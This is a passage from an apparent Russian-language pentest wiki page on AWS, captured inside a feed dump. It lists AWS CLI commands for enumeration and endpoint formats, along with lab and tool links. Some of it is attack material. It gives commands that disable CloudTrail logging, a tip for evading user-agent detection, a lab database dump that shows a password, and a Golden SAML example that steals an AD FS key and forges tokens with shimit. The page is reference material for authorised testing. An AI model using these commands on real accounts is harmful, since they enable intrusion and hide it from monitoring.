&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1214</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1214"/>
				<updated>2022-10-08T09:07:53Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Лаборатории */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
